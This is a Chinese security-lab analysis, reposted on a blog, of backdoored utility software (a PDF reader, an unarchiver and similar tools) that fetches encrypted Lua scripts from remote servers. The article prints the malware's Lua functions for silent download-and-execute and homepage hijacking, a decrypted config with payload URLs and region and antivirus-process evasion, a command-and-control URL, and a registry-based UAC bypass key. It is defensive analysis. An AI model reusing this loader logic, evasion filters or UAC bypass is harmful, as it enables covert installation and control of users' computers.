竹节虫:暗藏在常用工具软件中的后门

近日,百度安全实验室发现多款伪装成“解压工具”、“文档阅读器”等常用软件,实则背后悄悄进行远程代码执行和刷流量牟取暴利等行为的恶意软件。通过对这些伪装软件的技术分析,发现它们都源自重庆同一公司所为,恶意代码作者通过注册多个数字签名实现绕过安全软件的检测,使用相同的框架开发多款网民常用的小工具,并利用大量下载站和界面简单的“官方网站”进行传播。其中一款名为“极客压缩”解压软件,在某家软件管理中下载次数就高达308万次。

当用户安装这些软件后,会静默通过远程服务器下发恶意模块和Lua脚本并执行,Lua脚本在执行过程会跳过“北京”、“上海”、“广州”、“深圳”、“珠海”五大城市,以逃避主流安全厂商的捕获和分析。Lua脚本机具备下载任意程序并静默执行、结束进程、修改任意注册表、向连接的手机安装APK、修改主页、本地提权等121个功能API,功能强大令人震惊。值得警惕的是,Lua脚本可随时被升级更新,不排除有幕后黑手利用这功能强大的后门执行隐私窃取等其他恶意行为,存在极高的安全隐患。

以下以其中一款名为“优选PDF阅读器”的软件为例进行分析:

一、行为分析

软件安装并启动后会调用安装目录的“YouPdfUpdate.exe”进程,传入参数youp,并从网络获取动态链接库,保存到程序当前路径下,命名为update.yyp。

该文件经过加密,解密后的动态链接库包含两个导出函数:

该模块主要实现创建Lua虚拟机并执行传入的Lua脚本,模块中实现了以下Lua API。


以上API能够实现自启动、修改UAC策略、安装APK、下载并执行文件、执行脚本、进程控制、从网络获取任意文件等操作。

该模块中实现了利用事件查看器漏洞绕过UAC防御,主要通过修改注册表:

“HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command”的方式实现。

程序在运行时,执行了Lua中的ExecNetScipt功能,即请求从

“http://config.younoteba.top/src/youpdfu.html”下载并执行Lua脚本。解密后的脚本执行了发送机器信息到作者服务器、设置进程自身退出时间等一系列初始化操作,然后下载XML配置文件并根据获取到的配置完成修改主页、过滤进程、软件推广安装等操作。

解密后的XML配置文件:

<?xml version="1.0"  encoding="utf-8"?>

<root><base><filterProcess>360sd.exe,360Tray.exe</filterProcess><filterArea>上海,珠海,北京,广东,深圳</filterArea><richSpan>6</richSpan><richSpanDay>1</richSpanDay><runAfterIstall>16</runAfterIstall><runDelay>270</runDelay><richMaxCheckedNum>1</richMaxCheckedNum></base><mini/><page><item><id>1664</id><name>金山毒霸-优选PDF</name><url>http://s.show.qiangzuotong.cn/Public/popup/fmt/isurAh.html</url><width>445</width><height>227</height><res>1663</res><resusetype>0</resusetype><keyword/><keywordNeedful/><pos>0</pos><interval>10</interval><enable/></item><item><id>2041</id><name>飞米资讯json迷你页-优选PDF</name><url>http://mini.cqyzzkj.cn/ad/s/xbzms/360jxbzm/index.html#qid=0_0</url><width>384</width><height>535</height><res/><resusetype>0</resusetype><keyword>东方网;头条;国内;新闻;娱乐;视频;国际;军事;体育;历史;曝光;东方微博;健康;人文;科技;游戏;星座;家居;天气;笑话;今日;热点;猎奇;探索;今日爆点;资讯;热门;占卜;新华网;环球网;参考消息;人民网;联合早报;中华网;国际在线;大公网;星岛环球网;凤凰网;北京时间;腾讯网</keyword><keywordNeedful>东方网;头条;国内;新闻;娱乐;视频;国际;军事;体育;历史;曝光;东方微博;健康;人文;科技;游戏;星座;家居;天气;笑话;今日;热点;猎奇;探索;今日爆点;资讯;热门;占卜;新华网;环球网;参考消息;人民网;联合早报;中华网;国际在线;大公网;星岛环球网;凤凰网;北京时间;腾讯网</keywordNeedful><keywordExclude/><pos>0</pos><interval>900</interval><enable>1</enable></item></page><res><item><id>1663</id><name>金山毒霸</name><type>cpa</type><url>http://cd001.www.duba.net/duba/install/2011/ever/duba_820_820.exe</url><arg/><packname>duba_820_820.exe</packname><downtype>2</downtype><isencryptionpack/><namecheck>金山毒霸</namecheck><runtype>1</runtype><regkey/><iconcheck>金山毒霸</iconcheck><processcheck>kxescore.exe</processcheck><regcheck>HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\KAV7NEEDREBOOT</regcheck><nocheck>false</nocheck><filterProcess/><needprocess/><haduac>1</haduac><filterOS/><dbt>3</dbt><interval>8</interval></item></res></root>

捕获的Lua脚本中的主要函数如下:

1、DoBiz

该函数主要完成检测引擎版本、判断配置文件是否可写、判断是否用户管家下载、判断用户点击了意见反馈、下载配置、执行迷你页、过滤进程及地区、执行富媒体等。

function DoBiz() 

    --检测引擎版本

    if  IsCurrentEng() == false then

        return

    end

    --判断配置文件是否可写

    if IsWriteini()  == false then

        return

    end

    --判断是否用户管家下载

    local sutime =  BzRunReadlog("user", "isuser")

    if sutime ~= nil  and sutime ~= "" then

        local utime  = tonumber(sutime)

        if utime ~=  nil and os.time() - utime <= 24*60*60 then

            return

        end

    end

    --判断用户点击了意见反馈

    local fbdate =  BzRunReadlog("feedback", "fbdate")

    local fbnext =  BzRunReadlog("feedback", "fbnext")

    if fbdate ~= nil  and fbdate ~= "" then

        local  ufbdate = tonumber(fbdate)

        if ufbdate  ~= nil then        

            if  fbnext == nil or fbnext == "" then

                 fbnext = "30"

            end

            local  ufbnext = tonumber(fbnext)

            if  ufbnext == nil then

                 ufbnext = 30

            end

            if  os.time() <= ufbdate + ufbnext*24*60*60 then 

                 return

            end

        end

    end    

    --下载配置

    if GetXmlData()  == false then

        return

    end

     api.Delay(60*1000)

    --执行迷你页

    DoMini()

    --延迟

     api.Delay(tBzBase["runDelay"]*1000)

    --过滤进程

    if  FilterProcess() == false then

        return

    end

    --过滤地区

    if IsNoBzArea()  == true then

        os.exit()

        --return

    end

    --判断安装时间

    if  CheckInstallTime() == false then

        return

    end

    -- 执行富媒体

    DoRich()

end   

2、InstallCpa

该函数主要完成推广软件的安装条件检测、软件下载以及安装等相关行为。

function InstallCpa(v)

     SenBizInfo(v["id"],"cpa","5")  

    if  v['nocheck'] == "true" or  api.IsSoftInstall(v["namecheck"],v["processcheck"],v["iconcheck"],v["regcheck"])  == false then

         local downrs = false                  

         local fileData = ""

        if  v["packname"] == nil or v["packname"] == ""  then

             v["packname"] = string.sub(os.tmpname(),1)              

         end  

         local filepath = api.TempPath() .. v["packname"]

        if  v["downtype"] == "1" then

             for i=1,1,1 do

                 fileData = api.HttpGet(v["url"])         

                 if fileData ~= nil then

                    if  v["isencryptionpack"] == true then

                        local fileDataDecode  = api.DesDecrypt(fileData,tSoftInfo["dkey"])

                        fileData = nil

                        fileData =  fileDataDecode

                    end

                    local file =  io.open(filepath,"wb")

                    if file ~= nil then

                        file:write(fileData)

                        file:close()

                        downrs = true

                    end   

                    break

                 end

             end

         else

             for i=1,1,1 do

                 if api.DownFile(v["url"], filepath) ~= nil then

                    downrs = true

                    break

                 end

             end

        end

        if  downrs == true then

             SenBizInfo(v["id"],"cpa","6")   

             if string.find(v["runtype"],"1") ~= nil then

                 --添加ARG参数

                 local cmd = "\"" .. filepath .. "\""

                 if v['arg'] ~= nil and v['arg'] ~= "" then

                    cmd = cmd .. "  " .. v['arg']

                end

                 BzRunWritelog("cpa",v["id"])

                            if  bHadUAC and v['haduac'] == "1" then

                                   api.ShellExec("open",filepath,v['arg'])

                                   api.Delay(50*1000);  

                            else

                                   api.Exec(cmd,3*60*1000)

                                   api.Delay(50*1000);  

                            end

                if  api.IsSoftInstall(v["namecheck"],v["processcheck"],v["iconcheck"],v["regcheck"])  then

                     SenBizInfo(v["id"],"cpa","0")

                 else                   

                     SenBizInfo(v["id"],"cpa","4")

                 end

             end

             if string.find(v["runtype"],"2") ~= nil then

                 if api.SetAutoRun(v["regkey"],cmd) then

                     SenBizInfo(v["id"],"cpa","7")

                 else                   

                    SenBizInfo(v["id"],"cpa","4")

                 end

             end                                 

         else

             SenBizInfo(v["id"],"cpa","2")

        end

    else

         SenBizInfo(v["id"],"cpa","1")

    end

end  

3、SetHomepage

该函数通过修改注册表达到篡改浏览器主页的目的。

function  SetHomepage(v)

    local reg = api.RegOpen("HCU",  "Software\\Microsoft\\Internet Explorer\\Main")

    local regurl =  api.RegGetV(reg,"Start Page")

    if regurl ~= nil and regurl ~=  v["url"] then

        local bset =  api.RegSetV(reg,"Start Page",v["url"])

        if bset then

             SenBizInfo(v["id"],"homepage","0")

        else    

             SenBizInfo(v["id"],"homepage","4")

        end

    end

end  

二、同源性分析

通过对“优选PDF阅读器”的关联分析,发现其关联多个域名,涉及多款软件,但行为基本类似。

1、相似的安装界面

以下为优选PDF阅读器的安装界面。

以下为关联到的迅捷便签的安装界面

2、相似的官网

这些软件均有相似度较高的官网,页面布局、语言描述等均高度相似。以下为优选PDF阅读器及迅捷便签的官网。

三、总结

近几年,出现了一些打着“免费”的旗号,背后却偷偷利用网民的电脑用作赚钱机器的工具软件,这些软件往往在表面骗取了用户的信任,恶意行为却很难被察觉。百度安全实验室建议用户能养成良好上网习惯,发现电脑异常及时使用安全软件进行安全检测。对于政企机构要加强对于软件下载和升级的把控,加强网络通信行为的分析感知能力。同时也倡导各软件下载站和分发渠道能加强软件审核、规范服务。

附录:相关的软件列表

本文来自百度安全实验室,百度安全经授权发布

文章图片来源于网络,如有问题请联系我们

转载请注明出处 AE博客|墨渊 » 竹节虫:暗藏在常用工具软件中的后门

发表评论

路人甲

网友评论(0)